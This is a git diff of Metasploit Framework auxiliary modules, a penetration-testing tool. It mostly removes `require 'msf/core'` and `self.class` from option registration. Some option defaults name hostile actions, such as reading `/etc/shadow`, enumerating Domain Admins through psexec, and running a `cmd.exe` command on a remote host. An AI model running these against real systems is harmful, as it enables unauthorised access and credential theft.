@@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), OptString.new('RPATH', [false, 'The name of the remote directory relative to the share']), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 593db5af84..799cfbfae9 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Psexec @@ -46,13 +44,13 @@ class MetasploitModule < Msf::Auxiliary OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']), OptString.new('RPORT', [true, 'The Target port', 445]), OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']), - ], self.class) + ]) register_advanced_options([ OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']), OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]), OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]), - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 0e7d8b9cf3..ac03de5762 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']), OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']), OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 5d809e37a6..3582910497 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']), OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index 878845d900..5b16259703 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index 6a03ca85e6..0f374193d0 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SunRPC @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'etc/shadow']), OptString.new('OUTPUTPATH', [ false, "Local path to save the file contents to", nil ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb index d02081daa8..0e96f1ffa4 100644 --- a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb +++ b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Rex::Proto::TFTP @@ -46,10 +44,10 @@ class MetasploitModule < Msf::Auxiliary OptString.new( 'REMOTE_FILENAME', [false, "The remote filename"]), OptAddress.new('RHOST', [true, "The remote TFTP server"]), OptPort.new( 'LPORT', [false, "The local port the TFTP client should listen on (default is random)" ]), - OptAddress.new('LHOST', [false, "The local address the TFTP client should bind to"]), + OptAddressLocal.new('LHOST', [false, "The local address the TFTP client should bind to"]), OptString.new( 'MODE', [false, "The TFTP mode; usual choices are netascii and octet.", "octet"]), Opt::RPORT(69) - ], self.class) + ]) end def mode diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 5ed08b4865..4195bb2097 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index a7d4a52622..fb7e9d4a2b 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -4,7 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb index 0069b455de..a1e236383c 100644 --- a/modules/auxiliary/admin/vmware/poweroff_vm.rb +++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('VM', [true, "The VM to try to Power Off"]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb index 3b20dbe4b2..19260a2a0e 100644 --- a/modules/auxiliary/admin/vmware/poweron_vm.rb +++ b/modules/auxiliary/admin/vmware/poweron_vm.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('VM', [true, "The VM to try to Power On"]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb index 1c825f62f3..7df56dd787 100644 --- a/modules/auxiliary/admin/vmware/tag_vm.rb +++ b/modules/auxiliary/admin/vmware/tag_vm.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('VM', [true, "The VM to try to Power On"]), OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb index 284198a04b..4dbaa474fd 100644 --- a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb +++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('KEYS', [true, "The session key to terminate"]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb index 08de7df684..c473494f52 100644 --- a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb +++ b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('RPORT', [true, "The port the target VNC Server is listening on", 5900 ]), OptPort.new('LPORT', [true, "The port the local VNC Proxy should listen on", 5900 ]), OptBool.new('AUTOVNC', [true, "Automatically launch vncviewer from this host", false]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb index d95582eace..61d7ea9340 100644 --- a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb +++ b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb index 5c737a13e8..a22c3f9f61 100644 --- a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb +++ b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb index db348c3865..65e47977cb 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary ] ), OptInt.new('OFFSET', [ true, "The starting offset to read the memory dump (hex allowed)", 0 ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb index 15157e9313..2f473117e8 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb index 352625b1b8..2a61e0f7a5 100644 --- a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb +++ b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [true, 'Webmin Password']), OptInt.new('DEPTH', [true, 'Traversal depth', 4]), OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/webmin/file_disclosure.rb b/modules/auxiliary/admin/webmin/file_disclosure.rb index e43c5849bf..a04b236d45 100644 --- a/modules/auxiliary/admin/webmin/file_disclosure.rb +++ b/modules/auxiliary/admin/webmin/file_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary "/unauthenticated" ] ), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/zend/java_bridge.rb b/modules/auxiliary/admin/zend/java_bridge.rb index dd858742f5..493010cefd 100644 --- a/modules/auxiliary/admin/zend/java_bridge.rb +++ b/modules/auxiliary/admin/zend/java_bridge.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(10001), OptString.new('CMD', [ false, 'The OS command to execute', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 7fd0a99c39..18b8515040 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 56bd36b89e..b3ab197ca6 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 0a7b751087..a49d2f14c4 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index dd3312009e..787f0de29a 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 17e54cc9c2..cb4e6a7a30 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index 781574011f..7f766aefee 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb index 81f1549aaf..7fdab976d5 100644 --- a/modules/auxiliary/analyze/jtr_postgres_fast.rb +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/auxiliary/jtr' diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index 0225b81347..a91d4bb2ca 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CLIENTIP', [true, 'The ip of the client behing the BNAT router', '192.168.3.2']), OptString.new('SERVERIP', [true, 'The ip of the server you are targeting', '1.1.2.1']), OptString.new('BNATIP', [true, 'The ip of the bnat response you are getting', '1.1.2.2']), - ],self.class) + ]) end def run diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index e5c907720b..e9da761180 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Capture @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "21,22,23,80,443"]), OptString.new('INTERFACE', [true, "The name of the interface", "eth0"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]) - ],self.class) + ]) deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN') diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index 93645ce689..66448cc7b3 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/hwbridge' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb index f7b8f250ce..311c14c20f 100644 --- a/modules/auxiliary/client/mms/send_mms.rb +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Mms diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb index f7883140fc..f867dd90ef 100644 --- a/modules/auxiliary/client/sms/send_text.rb +++ b/modules/auxiliary/client/sms/send_text.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Sms diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb index d209a87898..775e1b1af0 100644 --- a/modules/auxiliary/client/smtp/emailer.rb +++ b/modules/auxiliary/client/smtp/emailer.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'yaml' @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('RPORT', [true, "SMTP server port",'25']), OptString.new('YAML_CONFIG', [true, "Full path to YAML Configuration file", File.join(Msf::Config.data_directory,"emailer_config.yaml")]), - ], self.class) + ]) # Hide this option from the user deregister_options('MAILTO') diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 3d4a0341e5..3a0c35d5a1 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -11,7 +11,6 @@ # # openssl before rubygems mac os -require 'msf/core' require 'openssl' require 'rinda/tuplespace' require 'pathname' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('PATH', [true, "Starting crawling path", '/']), OptInt.new('RPORT', [true, "Remote port", 80 ]) - ], self.class) + ]) register_advanced_options([ OptPath.new('CrawlerModulesDir', [true, 'The base directory containing the crawler modules', @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('ReadTimeout', [ true, "Read timeout (-1 forever)", 3]), OptInt.new('ThreadNum', [ true, "Threads number", 20]), OptString.new('DontCrawl', [true, "Filestypes not to crawl", '.exe,.zip,.tar,.bz2,.run,.asc,.gz']) - ], self.class) + ]) end attr_accessor :ctarget, :cport, :cssl diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 81fc69dd76..c9c63aa17c 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -14,7 +14,6 @@ require 'zip' # Project # -require 'msf/core' # for creating files require 'rex/zip' @@ -46,11 +45,11 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']), + OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']), OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']), OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']), OptString.new('DOCAUTHOR',[false,'Document author for empty document.']), - ], self.class) + ]) end # here we create an empty .docx file with the UNC path. Only done when FILENAME is empty diff --git a/modules/auxiliary/dos/android/android_stock_browser_iframe.rb b/modules/auxiliary/dos/android/android_stock_browser_iframe.rb index 9221626ed9..09b10e667d 100644 --- a/modules/auxiliary/dos/android/android_stock_browser_iframe.rb +++ b/modules/auxiliary/dos/android/android_stock_browser_iframe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index bfab3a37ac..9651e0c195 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb index 786f2c16eb..6f3375dae2 100644 --- a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb +++ b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb index 841db2cee5..0d8d252b6c 100644 --- a/modules/auxiliary/dos/dns/bind_tkey.rb +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb index 93b149e2fc..747a378503 100644 --- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb +++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary [ 'CVE', '2006-0900' ], ])) - register_options([Opt::RPORT(2049),], self.class) + register_options([Opt::RPORT(2049),]) end def run diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb index a92ee46946..66f608346b 100644 --- a/modules/auxiliary/dos/hp/data_protector_rds.rb +++ b/modules/auxiliary/dos/hp/data_protector_rds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb index 4978f58c29..698e318321 100644 --- a/modules/auxiliary/dos/http/3com_superstack_switch.rb +++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary ], 'DisclosureDate' => 'Jun 24 2004')) - register_options( [ Opt::RPORT(80) ], self.class ) + register_options( [ Opt::RPORT(80) ]) end def run diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb index ea62711de1..585c0f51bc 100644 --- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('TARGETURI', [ true, "The request URI", '/']), OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb index 0309563629..b5aafaf27a 100644 --- a/modules/auxiliary/dos/http/apache_mod_isapi.rb +++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 92914f2613..65c1b0e431 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -3,12 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanFile include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Auxiliary::Dos @@ -50,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(80), OptString.new('URI', [ true, "The request URI", '/']), OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index ad3d15abb9..7c6bbba45e 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8000), OptInt.new('RLIMIT', [ true, "Number of requests to send", 25]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/http/canon_wireless_printer.rb b/modules/auxiliary/dos/http/canon_wireless_printer.rb index ebb8d96f9f..7ea18c05d2 100644 --- a/modules/auxiliary/dos/http/canon_wireless_printer.rb +++ b/modules/auxiliary/dos/http/canon_wireless_printer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb index fb2e4c8ca7..9102d456bc 100644 --- a/modules/auxiliary/dos/http/dell_openmanage_post.rb +++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 9eb5b5a507..f65072fa84 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/http/gzip_bomb_dos.rb b/modules/auxiliary/dos/http/gzip_bomb_dos.rb index ecd3a5dd0e..7bc6894ab6 100644 --- a/modules/auxiliary/dos/http/gzip_bomb_dos.rb +++ b/modules/auxiliary/dos/http/gzip_bomb_dos.rb @@ -3,7 +3,6 @@ # Current 